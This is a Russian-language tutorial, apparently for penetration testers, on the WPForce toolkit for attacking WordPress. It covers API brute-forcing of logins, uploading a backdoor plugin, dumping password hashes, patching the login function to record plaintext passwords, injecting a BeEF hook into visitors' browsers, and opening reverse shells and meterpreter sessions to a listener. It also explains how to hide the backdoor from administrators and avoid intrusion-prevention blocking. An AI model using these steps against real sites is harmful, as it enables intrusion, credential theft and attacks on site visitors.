WPForce - атака на WordPress
Во время тестирования на проникновение, вы можете споткнуться о веб-сервер с WordPress. WordPress является крайне популярной системой правления контентом. Она работает на PHP, обычно поверх LAMP стека. Хотя большинство серверов WordPress имеют надёжные пароли и безопасные плагины, во внутренних сетях это редкость. По этим причинам атакующий часто может найти уязвимости в устаревших версиях программного обеспечения или ещё проще, угадать пароль администратора. Узнав пароль, вы можете сделать различные вещи для вклинивания в другие системы. Кроме повышения привилегий, вы можете использовать сам WordPress для запуска ряда других атак в отношении клиентов.
WPForce — это набор инструментов для атаки WordPress. В настоящее время он содержит 2 скрипта — WPForce, который брут-форсит (подбирает пароль от входа) через API, и Yertle, который, как только подобраны администраторские учётные данные, выгружает шеллы. Yertle также содержит ряд модулей последующей эксплуатации.
Функции:
- Брут-форс через API, не через форму входа — это позволяет обойти некоторые виды защит
- Может автоматически выгрузить интерактивный шелл
- Может использоваться для вызова полнофункционального обратного шелла
- Дампит (сбрасывает) хеши паролей WordPress
- Может бэкдорить функцию аутентификации для сбора паролей в виде открытого текста
- Внедряет крюк BeEF во все страницы
- Если надо, работает с meterprete
Установка в Kali Linux
sudo
pip2 install
requests
git clone https://github.com/n00py/WPForce.git
cd
WPForce/
python2 wpforce.py -h
python2 yertle.py -h
Руководство
После удачного подбора учётных данных, скрипт-компаньон из набора WPForce – Yertle – может использоваться для выгрузки бэкдора на сервер с WordPress и выполнить ряд атак с применением модулей последующей эксплуатации.
Запуск Yertle сравнительно простой. Просто укажите URL, имя пользователя, пароль и тип бэкдора, я предпочитаю --interactive для интерактивного доступа.
После запуска скрипта, инструмент залогинется на сайт WordPress и выгрузит на него плагин. В любое время, когда вы захотите снова получить доступ к бэкдору, просто укажите аргумент -e с именем директории выгрузки. Плагин будет принимать команды наподобие оболочки SQLmap. Для просмотра доступных модулей, вы можете набрать “help”
Основные команды:
beef Внедрить BeEF крюк в веб-сайт
exit Завершение сеанса
hashdump Сдампить все хеши паролей WordPress
help Справка
keylogger
Патчит ядро WordPress для записи учётных данных в открытом виде
keylog
Показывает файл с захваченными паролями
meterpreter
Выполняет PHP meterpreter stager для подключения metasploit
quit
Завершение сеанса
shell
Отправляет обратный TCP шелл на прослушивальщик netcat
stealth
Прячет Yertle со страницы плагинов
Одним из полезных модулей последующей эксплуатации, который вы можете запустить, является hashdump. hashdump зайдёт в SQL базу, запросит таблицу, содержащую хеши паролей и вернёт их в вывод. Затем вы можете взломать эти хеши и начать пробовать использовать эти учётные данные для продвижения буквально в другие системы.
os-shell> hashdump
ID: 1 - Username: admin Password: $P$BAgwF1u99OZU1iqTgTIrUmBbtIjRMu1 Email: [email protected]
ID: 2 - Username: wpuser Password: $P$BdcZZVb0ssMccLU1ECFCtUihocqQ0S. Email: [email protected]
ID: 3 - Username: n00py Password: $P$B0mYQT38IOJtOr/nl4dchdqgCrxsG/. Email: [email protected]
os-shell>
Мы можем собирать не только хеши, но мы можем также собрать учётные данные в виде простого текста. Это достигается пропатчиванием PHP файла внутри ядра WordPress. Это позволяет записывать все пароли в простом тексте в тот момент, когда пользователи вводят их для аутентификации.
os-shell> keylogger
This module modifies files within the WordPress core. Would you like to continue? (Y/n) Y
wp_signon function patched. Do not run this more than once. Use 'keylog' to check the log file.
os-shell>
Функция wp_signon пропатчена. Не запускайте это более одного раза. Используйте 'keylog' для проверки файла журнала.
После предупреждения, позволяющего пользователю узнать о модификациях, которые будут сделаны в ядре WordPress, будет пропатчена функция аутентификации.
Нужно дождаться, когда пользователи вновь залогинятся (именно введут свои учётные данные, а не просто зайдут на сайт), а затем просмотреть файл журнала, это можно сделать набрав команду “keylog”. Она выведет учётные данные в виде простого текста.
os-shell> keylog
2017-03-30 - Username: && Password:
2017-03-30 - Username: n00py && Password: thisisalsomynetworkpassword
Отойдём от сбора учётных данных, но останемся в сфере клиентских атак. Мы можем внедрить в сайт крюк BeEF. Это позволит атакующему запускать произвольный JavaScript у пользователей, находящихся на сайта.
os-shell> beef
This module modifies files within the WordPress core. Would you like to continue? (Y/n) Y
IP Address: 10.0.1.16
BeEF hook added! Check BeEF for any hooked clients. Do not run this multiple times.
После внедрения крюка, мы просто ждём, пока на сайте появятся пользователи. Когда пользователи открыли сайт, они становятся «подцепленными». В это время мы можем отправлять любую нагрузку JavaScript какую мы хотим. BeEF содержит большое количество атак, которые мы можем запустить в отношении клиента.
Демонстрация полезной нагрузки, выполняемой в клиентском браузере:
Вы можете также использовать другой тип оболочки. Для этого доступны две опции: обычный обратный TCP шелл и оболочка PHP meterpreter. Чтобы перейти на полностью интерактивную оболочку, просто запустите:
os-shell> shell
IP Address: 10.0.1.4
Port: 8080
Sending reverse shell to 10.0.1.4 port 8080
os-shell>
И прослушивайте выбранный порт для получения шелла:
root@Kali:~/WPForce$ nc -l 8080
bash: no job control in this shell
www-data@Quaoar:/var/www/wordpress/wp-content/plugins/aekpmsu$
Если вы хотите иметь шелл meterpreter, загрузите metasploit и запустите:
os-shell> meterpreter
IP Address: 10.0.1.4
Port: 4444
Sending meterpreter stager to connect back to 10.0.1.4:4444
os-shell>
И вы получите внутри metasploit оболочку meterpreter:
[*] Started reverse handler on 10.0.1.4:4444
[*] Starting the payload handler...
[*] Sending stage (33068 bytes) to 10.0.1.21
[*] Meterpreter session 1 opened (10.0.1.4:4444 -> 10.0.1.21:60763) at 2017-03-29 20:49:16 -0600
Наконец, есть пара способов быть более незаметным при использовании этого инструмента. По умолчанию, модуль регистрирует себя как плагин WordPress и этот плагин виден администратору.
Для удаления бэкдора из видимых плагинов, просто запустите команду “stealth”. Бэкдор всё равно будет доступен, его просто не будет видно внутри пользовательского интерфейса.
os-shell> stealth
Также важно упомянуть, что в качестве пользовательского агента Yertle по умолчанию отправляет “Yertle backdoor uploader”. В реальных условиях это значение следует переписать с помощью флага -a. Поскольку по опытам замечено, что с таким User Agent немедленно блокируется IP, если веб-сервер использует IPS (систему предотвращения вторжений).
Справка по WPForce
Использование:
wpforce.py [-h] -i INPUT -w WORDLIST -u URL [-v] [-t THREADS]
[-a AGENT] [-d]
Опциональные аргументы:
-h, --help показать справку и выйти
-i ВВОД, --input ВВОД
Файл с именами пользователей
-w СЛОВАРЬ, --wordlist СЛОВАРЬ
Файл с паролями
-u URL, --url URL URL цели
-v, --verbose Вербальный вывод. Показывать все попытки.
-t ПОТОКИ, --threads ПОТОКИ
Определяет количество используемых потоков, по умолчанию это 10
-a АГЕНТ, --agent АГЕНТ
Устанавливает user-agent
-d, --debug
Эта опция используется для выявления проблем со скриптом.
Справка по Yertle
Использование:
yertle.py [-h] [-i] [-r] -t TARGET [-u USERNAME] [-p PASSWORD]
[-a AGENT] [-li IP] [-lp PORT] [-v] [-e EXISTING]
Опциональные аргументы:
-h, --help показать справку и выйти
-i, --interactive Интерактивный командный шелл
-r, --reverse Обратный шелл
-t ЦЕЛЬ, --target ЦЕЛЬ
URL цели
-u ИМЯ_ПОЛЬЗОВАТЕЛЯ, --username ИМЯ_ПОЛЬЗОВАТЕЛЯ
Имя пользователя админа
-p ПАРОЛЬ, --password ПАРОЛЬ
Пароль админа
-a АГЕНТ, --agent АГЕНТ
Пользовательский User Agent
-li IP, --ip IP IP прослушивателя
-lp ПОРТ, --port ПОРТ
Порт прослушивателя
-v, --verbose Вербальный вывод.
-e EXISTING, --existing EXISTING
Пропустить выгрузку шелла, и подключиться к существующему шеллу
Примеры запуска WPForce
Брут-форс сайта (-u "http://www.[website].com"), используя имена пользователей из файла (-i usr.txt) и пароли из файла (-w pass.txt):
python2 wpforce.py -i usr.txt -w pass.txt -u "http://www.[website].com"